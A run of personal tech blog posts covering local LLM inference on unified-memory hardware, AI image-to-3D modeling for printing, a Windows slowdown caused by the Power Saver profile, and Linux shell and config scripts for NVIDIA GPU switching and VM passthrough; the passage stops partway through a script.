There’s a concept called “layer offloading” that projects like llama.cpp already support. The idea: if the model doesn’t fit fully in VRAM, keep some layers on the GPU and the rest in system RAM. The GPU processes the layers it has, hands off to the CPU to process the rest, and back.

In practice, it doesn’t work well. The bottleneck is PCIe: transfer speed between system RAM and GPU VRAM is ~32 GB/s (PCIe 5.0 x16). Each generated token needs to transfer data back and forth. The result is that you drop from 150 tok/s (everything in VRAM) to 2-8 tok/s (partial offload). It’s too slow for interactive use.

VRAM is the fundamental limitation because LLM inference is memory-bandwidth-bound, not compute-bound. The GPU has compute to spare. What’s missing is the ability to read the model weights fast enough. When part of the weights live in system RAM through PCIe, the entire pipeline waits on the transfer.

That’s why unified memory (like in the Strix Halo or Apple Silicon) makes a difference. There’s no PCIe in the middle. CPU and GPU access the same physical memory. The Strix Halo’s 256 GB/s is slow compared to GDDR7, but it’s 8x faster than offloading through PCIe.

Advances in LLM optimization (up to 2026)

To understand why some models run so much better than others on the Strix Halo, you have to understand what’s changed in the ecosystem over the last two years.

Mixture of Experts (MoE)

If you run local models, MoE is the advance that matters most. An MoE model has high total parameters (e.g. 122B in qwen3.5:122b), but only activates a fraction of them per token (e.g. ~4B). The inactive weights stay in VRAM but aren’t read on every token, which drastically reduces the bandwidth needed.

In the Strix Halo benchmarks, MoE models run 3-10x faster than dense models of the same size. qwen3.5:35b (MoE, ~4B active) runs at 43 tok/s while qwen2.5:72b (dense, 72B active) runs at 4.5 tok/s.

DeepSeek and training optimization

DeepSeek V3 (December 2024) showed that it was possible to train 671B parameter models at a cost an order of magnitude lower than predicted. They combined MoE with FP8 quantization during training (not just inference), multi-stage training with curriculum learning, and several inter-GPU communication optimizations. The impact: everyone copied. Qwen, GLM, MiniMax, all of them adopted variations of the technique.

Quantization: from FP16 to Q4 without losing much

Quantization compresses model weights from 16 bits (FP16) to smaller formats: 8 bits (Q8), 4 bits (Q4), or even 2 bits. A 70B model that would take ~140GB in FP16 fits in ~40GB at Q4_K_M. Quality loss exists, but in modern formats (GGUF Q4_K_M, AWQ, EXL2) it’s small enough for practical use.

GGUF (the llama.cpp format) became the standard for local inference. AWQ and GPTQ are alternatives with more sophisticated calibration, but the ecosystem converged on GGUF because it works on CPU, CUDA and ROCm without recompilation.

Distillation: smaller models that know more

Distillation is training a small model using the responses of a large model as the teacher. Microsoft’s Phi-4 (14B) was trained with distillation from GPT-4 and competes with 70B models on several benchmarks. Qwen3 did the same: qwen3:14b is surprisingly capable for its size.

Flash Attention and optimized KV Cache

Flash Attention (Tri Dao, 2022) changed how attention is computed: instead of materializing the full attention matrix in memory, it processes in blocks keeping the data in the GPU’s on-chip SRAM, reducing memory consumption from O(n²) to O(n). Without that, contexts of 128K+ tokens would be impractical. It already went through versions 2 and 3, with optimizations for FP8 and async operations on H100. PagedAttention (vLLM, UC Berkeley) did the same for the KV cache during serving: applies virtual memory concepts to the cache, eliminating fragmentation and improving throughput by 2-4x.

In Ollama, I set OLLAMA_FLASH_ATTENTION=1 and OLLAMA_KV_CACHE_TYPE=q8_0 on the server. The first activates flash attention, the second uses 8-bit KV cache instead of fp16, cutting the bandwidth needed per token in half. These are zero-hardware-cost optimizations that improve throughput measurably.

What Qwen, Kimi, MiniMax and GLM are doing

Qwen (Alibaba) has consistently been the best price/performance in open source models. Qwen3:14b is dense and strong; Qwen3.5:122b is MoE and runs surprisingly well in 96GB. GLM-4.7 (Zhipu AI) is notable for offering bf16 full precision versions that fit in 96GB. MiniMax experimented with long contexts (up to 4M tokens). Kimi (Moonshot AI) focused on large context windows with linear architectures.

What runs well in 96GB of VRAM

With 96GB on the Strix Halo, the models that work well for daily use:

Dense 70B+ models (deepseek-r1:70b, llama3.3:70b) are still blocked by the ROCm bug I mentioned. When it gets fixed, they should run at ~4-6 tok/s, usable for batch but not for interactive chat.

Conclusion

I bought the Minisforum to run models that don’t fit in any gaming GPU. For that, it works. It’s not fast. 19 tok/s on a 122B model isn’t the experience you get with Claude or ChatGPT. But it’s local, it’s private, and it runs on my shelf consuming less power than an old lightbulb.

For people asking about the Mac Studio: if you have the budget, it’s the best machine for running local LLMs. 512GB of unified memory, 819 GB/s of bandwidth, mature Metal/mlx ecosystem. You can run DeepSeek-V3 in full Q4. But in Brazil, with import duties, it crosses R$ 110k. The Minisforum with 128GB at R$ 12-15k is the realistic option.

And for people who think you can work around the VRAM limitation with layer offloading: you can’t. PCIe is too slow. The model has to fit fully in VRAM for inference to be usable. It’s the reason gaming GPUs with 32GB of ultra-fast GDDR7 are still capped on model size, and why the unified memory of the Strix Halo and Apple Silicon changed the equation.

In the next post I tell the story of how I migrated the entire home server to the Minisforum using Claude Code, the problems I ran into, and how openSUSE MicroOS behaves as a Docker server operating system.

I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren’t great, but the commercial options are very good and quite stable. I’m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:

• PixelArtistry_
• Stefan 3D AI Lab

In practice, there are several ComfyUI workflows to play with, like this tutorial showing how to use the recently released Trellis2 model from Microsoft. It doesn’t work perfectly like in the video every time. It depends heavily on the image you feed it. In my tests I only got deformed “blobs”.

But on the commercial side, there are 3 tools worth signing up for:

• Hunyuan Global, by Tencent. There’s the Chinese platform - which is more complete - and the global English version which is more limited. With it you can create 3D models from images with exceptional quality.
• Hitem3D - competes with Hunyuan, also excellent for generating 3D models from images. Worth testing both because depending on the images you feed them, one may turn out better than the other.
• Yvo3D - one of the pricier ones, but specifically for generating high-quality textures, it seems to be the best by far.

There are plenty of other platforms and to stay current there’s the site Top3D.ai with a ranking of the best tools. Most of them usually have free plans, trials, or similar, so it’s worth testing as many as you can. The pricing isn’t “expensive” if you’re a professional using this for client work. It’s only expensive for guys like me, who use it as a hobby.

Some others worth testing are Hyper3D Rodin, Tripo AI, Prism, and SAM 3D. The YouTube channels I recommended have videos about them, so at least go watch those.

The Ace Up the Sleeve: Nano Banana

The big trick for any platform, open source or commercial, is starting with high-quality images. Images from Google Images, or your badly taken photos, will always result in bad 3D models.

To clean up images, the easiest way is to go to Google Nano Banana. It’s by far the best AI platform for editing and generating images.

As an example, I decided to start from an image my girlfriend commissioned from an artist on Fiverr that we turned into stickers for our arcade. This image:

The first thing I asked Nano Banana was to remove the background and isolate just the character. It’s the kind of thing that used to require Photoshop. Look how it turns out now:

(ignore that it’s mirrored, I was too lazy to grab the right image.)

Anyway, that’s still not enough to generate 3D. Specifically for generating character models, the ideal is to have images in “T-Pose”, meaning the person standing upright with arms spread out like Jesus. And having photos from exactly the front, back, left, and right.

And you can ask Nano Banana to do exactly that: “generate a front photo of this character in T-Pose, for 3D modeling” and it generates this:

Half the job is done at this step. Without this you can’t generate good models. Now just ask it to generate the other angles, like the back:

Same thing, images from the left angle, the right, and done. At least 4 consistent, coherent, clean images.

Hunyuan Global

Now comes the simple part. Just pick Hunyuan or Hitem3D. In this case, I picked Hunyuan:

Just pick the new 3.0 version model and generate with 1.5 million polygons (yes, it’s quite heavy, but you can just remesh afterwards) and optionally generate textures (knowing upfront that Hunyuan isn’t great with textures).

And look at the result. Perfect! As is, it’s already usable. Like I said, it’s not great with textures, but since my goal for this test was to print on my 3D printer, I didn’t worry about textures.

Opening it in Blender, I can apply a remesh modifier to lower the polygon resolution and convert everything into quads, and it ends up like this:

And right off the bat I tried to print it and out it came:

I was particularly impressed by the details: nothing crooked, nothing out of place, hands with 5 fingers, correct proportions, perfect face details, perfect hair.

Think about this: I went from nothing, to AI, to a physical 3D print!

And now that I have this model, I can send it to Adobe Mixamo, which is an online tool to reuse pre-made poses.

I can upload my model, calibrate the armature/skeleton, and put it in whatever pose I want. Here’s an example:

In Blender I can calibrate the weight of parts of the mesh and other details to improve the pose, but 80% of the work is already done automatically. With this I can do animations and much more.

So yes, 3D modeling is already a reality with AI. There are dozens of tools for different use cases and specialties, like texture generation, skeletons, animation.

The main thing: start with a good foundation using Nano Banana like I said, that’s the main trick to make everything else work properly. And keep an eye on Tencent: Hunyuan is the most interesting model.

On the open source side there’s small Hunyuan to run locally and now Trellis2. Also keep an eye on new workflows that use both together in ComfyUI.

On my end, for doing simple things I want to 3D print on my Bambulab X1C, this is already more than excellent!

Hyprland doesn’t play nice with NVIDIA

You can use it. But there are several little problems, particularly with Hyprlock, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.

When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a ~/.local/bin/hypr_unlock.sh script like this:

hyprctl --instance 0 'keyword misc:allow_session_lock_restore 1'
hyprctl --instance 0 'dispatch exec hyprlock'

But then I unlock and see that my Brave crashed too. NVIDIA really doesn’t like the monitor being turned off while it’s active. People said this happened in Hyprlock 0.9.1, but I’m already on 0.9.2 and it still crashes. I tried enabling services like nvidia-suspend/resume/hibernate, but nothing worked either.

At the end of the day I decided it’s not worth fighting with this: I have an AMD 7850X3D, and this CPU has an iGPU (integrated GPU), an AMD Raphael, which for things like rendering a window manager is more than powerful enough.

First, detect the GPUs:

❯ ls /dev/dri/by-path
Permissions Size User Date Modified Name
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-card -> ../card1
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-render -> ../renderD128
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-card -> ../card2
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-render -> ../renderD129

To find out which is AMD and which is NVIDIA, just run:

❯ lspci | grep -i vga
01:00.0 VGA compatible controller: NVIDIA Corporation GB202 [GeForce RTX 5090] (rev a1)
1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Raphael (rev c9)

Done. From the PCI ID we know card1 is NVIDIA and card2 is AMD. Now I need to configure my ~/.config/hypr/hyprland.conf:

....
# NVIDIA environment variables
env = NVD_BACKEND,direct
#env = LIBVA_DRIVER_NAME,nvidia
env = LIBVA_DRIVER_NAME,radeonsi
#env = __GLX_VENDOR_LIBRARY_NAME,nvidia

# Comment these out when using AMD as primary
#env = __NV_PRIME_RENDER_OFFLOAD,1
#env = __VK_LAYER_NV_optimus,NVIDIA_only

# card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)
# AMD first for iGPU primary:
env = AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1

env = ELECTRON_OZONE_PLATFORM_HINT,auto

I left the NVIDIA-specific settings commented out; none of them can be active. But the most important line is AQ_DRM_DEVICES, which lists the order for Hyprland to pick the GPU. Card2/AMD has to come first. Done, just reboot and move the HDMI cables to the iGPU output.

With that, I can now choose to offload only some apps to the NVIDIA using Prime. For that, I first created the script ~/.local/bin/nvidia-load.sh:

#!/bin/bash
__NV_PRIME_RENDER_OFFLOAD=1 __VK_LAYER_NV_optimus=NVIDIA_only __GLX_VENDOR_LIBRARY_NAME=nvidia "$@"

Finally, I configured some bindings in ~/.config/hypr/bindings.conf:

...
bindd = SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
bindd = SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
bindd = SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
...

This way, only Blender, Plasticity, and Bambu Studio, which primarily use the NVIDIA to render 3D in real time. All the other apps open on the AMD iGPU.

AI tools like ComfyUI, Ollama, or LM Studio automatically recognize the NVIDIA and pick it. And with that I also have more free VRAM to load LLMs.

If you’re going to use XLibre/X.org, you can stay on NVIDIA just fine. But if you’re going to use Wayland, NVIDIA still isn’t fully stable, particularly with Hyprland. It’s less of a headache to drop in a second AMD GPU just for this.

Now sit down, here comes the story.

I built a pretty decent PC for my girlfriend: Intel i7 12th Gen 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, MSI Edge z790 motherboard, NVME and I even hooked up a Synology DS1621+ NAS on a 2.5Gbps network - because she’s a content creator and has A LOT of video to edit. Modesty aside, it turned out pretty nice:

Everything worked very well for a long time, but eventually, for no apparent reason, everything started feeling kind of slow. Not completely slow, but sometimes web pages seemed to stutter while loading. I’d click on the Windows Start menu and it seemed to freeze up. Sometimes Explorer would hang and I’d need to go to Task Manager and restart the process manually. Several super inconvenient things but none of them throwing any explicit “error”. It just felt “weird”.

I’m a Linux user. My main PC is Manjaro Linux. I only use Windows on my gaming mini-PCs, exclusively to run Steam and some emulators. I avoid installing anything on them at all costs. Because I know how much of a pain it is to diagnose Windows after some weird program invades it.

I went after the usual suspects. She had installed games for streaming, like Valorant, Genshin Impact and stuff like that. I always suspect anti-cheats, the crap from Riot Vanguard or Easy or VAC. I started by uninstalling all the games. But I always think anti-cheat is like malware: once installed, it will never leave the system. I uninstalled everything, but that feeling of kind of freezing, kind of slow, intermittent, remained.

I tried the next suspects: peripheral software, like Elgato, Logitech, Razer stuff that install a bunch of garbage on your machines, and recently I was reading about the malware that was shipping with all of them. Watch this GamersNexus video to understand the house of cards that the whole peripheral industry with RGB has become:

Even uninstalling all of them, still the same behavior: kind of slow, kind of freezing, unstable.

Let’s try to go deeper, and for that you have to install tools like Sysinternals Autoruns to see if there’s anything starting up (things hidden in the Registry for example). I tried to disable everything I thought was suspicious.

Nothing. By that point I had also made sure that the newest MSI BIOS firmware was installed. I checked that nothing had been turned off in the BIOS, XMP profile was ok, no fast-boot and stuff like that.

Is It the Internet?

Since most of the usage is internet and it seemed “slow”, I thought it might be network problems. Vivo’s router? The plan? Wifi with interference?

Running out of patience I decided to go nuclear on the internet idea. In fact, opening the Cloudflare Speed Test page I could see that the speed itself was ok, but the latency was VERY high, jitter high and, mainly, PACKET LOSS was over 15%. That’s not normal, it has to be 0%.

Taking advantage of a trip to Miami I brought back a TP-LINK BE9300 router for Wi-fi 7, and I also bought a compatible Wi-fi 7 PCIe card. I turned off Vivo’s Wi-fi router and bumped the plan up to 800Mbps. And indeed, the internet improved a lot:

Latency dropped, jitter dropped, packet loss went to 0%.

But this didn’t fix the problem. Out of nowhere the browser would pause when loading some page. That feeling of kind of slow, kind of freezing. And yes, I tried switching from Edge to Chrome, to Firefox, to everything. Nothing made any difference. The internet really did get faster, but Windows itself didn’t seem to improve much and while browsing, it was getting slower and slower. So the problem wasn’t the internet.

I was running out of options. Everything that could be manually cleaned in Windows, I cleaned. There was almost nothing left to delete - and I delete things without mercy. But I always had it in my head that it was some malware, something that loads before boot, some “ROOTKIT”. Anti-cheats are Rootkits by definition. They load even before the kernel and from that point on, the compromised system can no longer be trusted, because no tool will be able to find it.

Assuming at that point it had to be a compromised system, I decided to go with the nuclear option: reinstall everything from scratch. We backed up the data and off I went to reinstall from scratch.

Reinstalling DID NOT WORK

Now it got worse.

With Windows 11 Pro, freshly installed, guaranteed with no third-party software installed, it still had the same behavior of kind of slow, kind of freezing. The start menu wouldn’t let me click on anything. I had to open task manager and kill Explorer manually to get it to work again.

I spent some time staring at Task Manager, but there wasn’t any process running that I could suspect further: it was bare-bones Windows. I had even run a Debloater to uninstall unnecessary Microsoft apps like Teams.

But lo and behold, from staring at task manager so much, I saw that I had been ignoring an important piece of data. See if you can spot it:

The image is kind of messed up because I took a photo of the monitor with my phone. The refresh rate clashes with the camera’s and you get this “grid”, but I think you can still read it.

Even when you have almost no program running, it’s not natural for the CPU to be at such a low clock, 0.50Ghz - HALF A GIGAHERTZ. This Intel i7 can go above 4Ghz and the base clock is 2Ghz.

I opened browsers, opened tabs, kept monitoring, and it never went above 1.5Ghz. An occasional spike to 2Ghz for 1 second and then it dropped below 1Ghz again. Then I thought: could the AIO be failing??

Looking at Event Viewer you could see when the Start menu (which is part of Explorer.exe) stopped working and froze: it logs it as “Hanging Events” code 1002.

See all those Errors? All Hanging Events, and “hanging” is exactly the behavior: something seems to “hold”, “freeze” and only by killing the process does it come back to working.

And this was happening before and also AFTER reinstalling everything from scratch. Something seemed fundamentally wrong with the hardware itself. With the super low clock, this behavior starts to make sense: it’s so slow it can’t even process basic things. Click several times on the Start Menu (which will be digging through recent documents, updating the list of applications, opening the search bar, etc) and there’s no clock to process all that while there’s still Windows Defender in background, browser tabs processing.

Could It Be Thermal Throttle??

Since Windows was wiped clean, it can’t be anti-cheat anymore, it can’t be some weird anti-virus, it can’t be malware, it’s not the internet, it had to be something EXTERNAL, that was what made sense.

I opened the PC and left it open so I could feel if the heatsink was getting absurdly hot. If it was, it would mean my AIO (Coolermaster Watercooler) had started to fail.

It’s normal for the CPU, when it overheats, to drop the clock to avoid burning the chip. This is called “THERMAL THROTTLING”.

And again, weird: it was COLD to the touch!!!

No way. I opened the BIOS to re-check fan profiles, but everything was normal:

That’s when it finally hit me:

**LET ME CHECK THE POWER SETTINGS**

On a normal PC/laptop, it should show something like this:

By default, Windows always boots in “Balanced Mode”.

But on my girlfriend’s PC, I have no idea why, there was no Power Mode option!!! And I’m on a Windows 11 Pro with a paid license!!

That’s weird, but I know that in the old Control Panel, there’s a Power Options entry:

AND THERE’S THE PROBLEM:

It was on “Power saver”!!!

How did that happen? I have absolutely no idea. REMEMBER: I had reinstalled Windows from scratch. This is right after reinstalling!!

On a laptop this profile makes sense, to save battery when you don’t have an outlet. But on a desktop PC, which is my case, it makes no sense at all!! I switched to “Ultimate Performance” and look at the task manager now:

NOW WE’RE TALKING!! Above 4Ghz!!!

The NORMAL range for this CPU is around 4Ghz, with Turbo Boost of 5Ghz. But in Power saver mode, it NEVER goes above 2Ghz and idles at 500Mhz. In other words, everything was TEN TIMES SLOWER, sometimes it tried to boost and was still FIVE TO TWO TIMES SLOWER. And it’s intermittent!!!

Testing installing apps, browsing, etc, everything is now working normally, no freezing, no feeling of slowness. Start menu doesn’t hang anymore - because now there’s enough CPU to process the crap it needs in background.

Conclusion

CHECK POWER OPTIONS IN CONTROL PANEL!!!!

Again: I had JUST REINSTALLED WINDOWS. It was wiped clean and, by default, it came up in Power Saver mode.

I have no idea why it did that, I don’t know if it always does that, I don’t know if it failed to recognize the MSI motherboard, I don’t know what combination of hardware factors can make Windows fall back to this.

But it’s ALARMING that it does this without warning. There’s no error message. There’s no notification. It doesn’t show up in Event Viewer. In other words, even a Power User like myself has to randomly suspect “hmm, let me check the power profile”.

Lots of people with Windows must be feeling this slowness and freezing and thinking “hmm, my PC is just crap, I need to save up to buy another one”, without knowing that maybe it’s just crippled by this power profile and in reality their PC is 2x to 5x, even 10x faster and they don’t know it! That’s not a small difference!

POWER SAVER MODE is a huge piece of garbage, it has no practical use and it shouldn’t even exist. It’s one of those legacy things that give Windows a terrible experience - because it doesn’t warn you.

Remember those 1002 hanging events error codes? If you go searching on Google, every forum will tell you to run diagnostic programs, uninstall stuff, or reinstall Windows. None of them mention anything about the power profile.

I hope this helps someone else!

In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven’t watched it, it’s at this link.

In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it’s more than enough.

This GPU loads on Linux with the driver that ships in the kernel, amdgpu, and is mounted as /dev/dri/card1. Then I added a 2nd GPU, the beefy RTX 4090 with 24GB of GDDR6X VRAM. Not enough to run the heaviest LLMs, but it can run enough. I bought it primarily for games, but I end up using it for AI and 3D rendering as well.

Now the concept is simple: at boot, Linux needs to ignore this card and not load the NVIDIA drivers. If it does that, I can’t later pass it into the Windows VM. I used to edit my channel’s videos in DaVinci Resolve, which used plugins that only work on Windows; that was one of the reasons at the time. Resolve itself works on Linux too, but many plugins don’t. I also preferred using Photoshop, which is also Windows-only.

For this we configure Linux to load a fake driver, called vfio-pci, in place of the NVIDIA driver (or the open source alternative, Nouveau). In the other article I explain in more detail, but it’s a huge pain to configure this by hand. I don’t know if it still works, but at the time I also used a script that automates this, GPU-Passthrough-Manager. It configures everything to prevent the NVIDIA drivers from loading and switches to vfio-pci correctly. I think it also works on Optimus laptops, when you have a weaker iGPU (to save battery) and a separate discrete GPU, but I haven’t tested that in years so don’t ask me, ask ChatGPT.

Since 2023 this has worked great. I have a script called nvidia-locker that’s in the other article. If I want to run LLMs or Blender on my native Linux, I run that script and it removes vfio-pci and puts the NVIDIA driver back in real time, without rebooting. Then when I’m done and need to boot into Windows, I run the script again and it unloads the driver in real time too, allowing it to be passed via PCI Passthrough to the QEMU VM. All neat and tidy.

That is, until a few months ago, when Arch and Manjaro updated to swap out the old legacy Xorg for Wayland. These days Wayland is much more stable, its portals work properly and I can use webcam, microphone, tablet and everything else without any problem. Everything works and, theoretically, Wayland is supposed to be better. The new GNOME 48 also turned out really good, with HDR support and all. Anyway, everything’s pretty slick, I recommend it.

Except for the GNOME/Wayland combo with an NVIDIA GPU specifically in this PCI Passthrough to VM scenario. In short: boot still works normally, vfio-pci loads and hides the NVIDIA GPU. My nvidia-locker script also manages to hot-reload the NVIDIA driver. The problem is when I try to unload the driver to open the VM: GNOME won’t let me.

Wayland is super aggressive and as soon as it detects that a new GPU has appeared, it loads the gnome-shell process onto that GPU. And since there’s a process attached, there’s no way to remove the driver hot anymore. Only by rebooting, and that’s a pain.

There’s no easy solution. I tried dozens of different things like permissions, UDEV rules, SystemD services, kernel options, but nothing prevents the damn gnome-shell or gjs (Flatpak portal) processes from latching onto the GPU.

There’s only one way, kind of a hack:

• first, configure GDM (which loads GNOME and is the parent process) to not auto-restart automatically if it dies
• second, switch to another TTY (Ctrl+Alt+F3, for example), kill GDM from there and only then unload the NVIDIA driver.
• third, when the driver is swapped for vfio-pci, now the GPU is off and you can restart GDM and log back in. Just a pain that the open graphical apps will die, but it’s faster than a full PC reboot.

1 - disable GDM auto-restart

# Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf <<EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload

This config prevents GDM from auto-restarting. Now I can kill it. Without doing this, if I kill GDM, it reopens too fast and there’s no time to remove the NVIDIA driver before that.

2 - Trying to keep Wayland from grabbing the GPU

The GPU-Passthrough-Manager script theoretically already does this, but to be safe it’s good to have the following:

First, in /etc/modprobe.d/blacklist-nvidia.conf:

blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0

Second, in /etc/modprobe.d/nvidia.conf:

options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0

The modeset option is to try to keep nvidia_drm from latching onto the GPU, but this didn’t work either. It’s optional, I don’t know if there’s a problem leaving it or removing it back to modeset=1. I think this matters more if you use the Nvidia GPU as the primary GPU where your graphical interface actually runs, especially to support Wayland correctly.

The other attempt is with UDEV rules in /etc/udev/rules.d/80-nvidia-composite.rules:

# Unified NVIDIA/AMD GPU management
ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x10de", \
    RUN+="/bin/sh -c 'chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 >> /etc/environment'"

ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x1002", \
    RUN+="/bin/sh -c 'chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k'"

# New critical addition:
ACTION=="add", SUBSYSTEM=="pci", ATTR{vendor}=="0x10de", ATTR{class}=="0x030000", ATTR{enable}="0"

The idea is to try to change the chmod attributes to 000, but that didn’t work either.

The last attempt was trying a Systemd service in /etc/systemd/system/nvidia-lock.service:

[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon0/bind'
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon1/bind'
ExecStart=/bin/sh -c 'chmod 000 /dev/dri/card0'
ExecStart=/bin/sh -c 'for card in /dev/dri/card*; do [ "$(cat /sys/class/drm/${card##*/}/device/vendor)" == "0x10de" ] && chmod 000 "$card"; done'

[Install]
WantedBy=graphical.target

Same idea of trying to block Wayland via tighter permissions, but it didn’t work either. I think there’s no harm in leaving this running but you can skip to the next section.

3. What worked

After much testing, I now have two scripts (just to keep it less spaghetti). Here’s the nvidia-unlock script that unloads the NVIDIA driver and has to be run from a different TTY than the one running GDM:

#!/bin/bash
# /usr/local/bin/nvidia-unlock - Improved version with session handling

# Store current TTY
CURRENT_TTY=$(tty | sed 's/\/dev\/tty//')
IS_GDM_RUNNING=$(systemctl is-active gdm)

# 1. Stop GDM gracefully
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Stopping GDM..."
  sudo systemctl stop gdm
fi

# 2. Kill all graphical processes
echo "Terminating graphical sessions..."
sudo pkill -9 -f "gnome-shell|gjs|Xwayland"
sleep 1

# 3. Nuclear GPU unbind
echo "Removing PCI devices..."
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.0/remove >/dev/null
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.1/remove >/dev/null
sleep 1

# 4. Purge drivers
echo "Unloading NVIDIA modules..."
sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2>/dev/null

# 5. Rescan PCI
echo "Rescanning PCI bus..."
echo "1" | sudo tee /sys/bus/pci/rescan >/dev/null
sleep 1

# 6. Restore GDM if it was running
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Restarting GDM..."
  sudo systemctl start gdm

  # Return to original TTY
  sleep 3 # Wait for GDM to initialize
  sudo chvt $CURRENT_TTY
fi

# 7. Final verification
if ! lsmod | grep -q nvidia; then
  echo "✅ NVIDIA GPU successfully unlocked"
else
  echo "❌ Failed to fully unlock GPU"
  exit 1
fi

This script kills everything under GDM, GNOME Shell, the open graphical programs, everything, so don’t leave your Libreoffice open without saving if you run this, it will kill it all. That’s why you have to do Ctrl+Alt+F3 and run it from a separate terminal.

And now, here’s my new nvidia-locker:

#!/bin/bash
# nvidia-locker - Final working version with proper TTY handling

# Get the directory where this script lives
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Configuration
NVIDIA_GPU="0000:01:00.0"
NVIDIA_AUDIO="0000:01:00.1"
PCI_PATH="/sys/bus/pci/devices"
DRM_PATH="/dev/dri"
UNLOCK_SCRIPT="${SCRIPT_DIR}/nvidia-unlock" # Look in same directory

#  Core Functions 

get_driver() {
  local device="$1"
  if [ -d "$PCI_PATH/$device/driver" ]; then
    basename $(readlink "$PCI_PATH/$device/driver") 2>/dev/null || echo "none"
  else
    echo "none"
  fi
}

is_gui_session() {
  # Returns true if running in a graphical session
  [ -n "$DISPLAY" ] || [ -n "$WAYLAND_DISPLAY" ]
}

print_status() {
  echo -e "\nCurrent GPU Status:"
  lspci -nnk -d 10de:2684
  lspci -nnk -d 10de:22ba
  echo
}

load_vfio() {
  echo "🔒 Binding to vfio-pci..."
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
}

load_nvidia_headless() {
  echo "🔓 Loading NVIDIA in headless mode..."

  # Clear any existing overrides
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null

  # Load modules with headless options
  sudo modprobe nvidia NVreg_InitializeSystemMemoryAllocations=0
  sudo modprobe nvidia_modeset
  sudo modprobe nvidia_uvm
  sudo modprobe nvidia_drm modeset=0

  # Bind devices
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null
  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null

  # Lock DRM nodes
  sudo chmod 000 "$DRM_PATH/card0" 2>/dev/null # NVIDIA
  sudo chmod 660 "$DRM_PATH/card1" 2>/dev/null # AMD
}

#  Command Handlers 

vm_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")

  if [[ "$current_driver" == "nvidia" ]]; then
    if is_gui_session; then
      echo "⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:"
      echo "   sudo systemctl stop gdm && sudo nvidia-unlock"
    else
      echo "⚠️  Already in TTY - running nvidia-unlock..."
      if [ -x "$UNLOCK_SCRIPT" ]; then
        sudo "$UNLOCK_SCRIPT"
      else
        echo "❌ Error: nvidia-unlock not found at ${UNLOCK_SCRIPT}"
        echo "ℹ️  Make sure both scripts are in the same directory"
        exit 1
      fi
    fi
    exit 1
  fi

  load_vfio
  print_status
}

host_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")
  if [[ "$current_driver" == "vfio-pci" ]]; then
    echo "🔄 Releasing vfio-pci binding..."
    echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
    echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
  fi

  load_nvidia_headless
  echo && nvidia-smi
  print_status
}

#  Main 

case "$1" in
on) vm_mode ;;
off) host_mode ;;
status) print_status ;;
*)
  echo "Usage: $0 [on|off|status]"
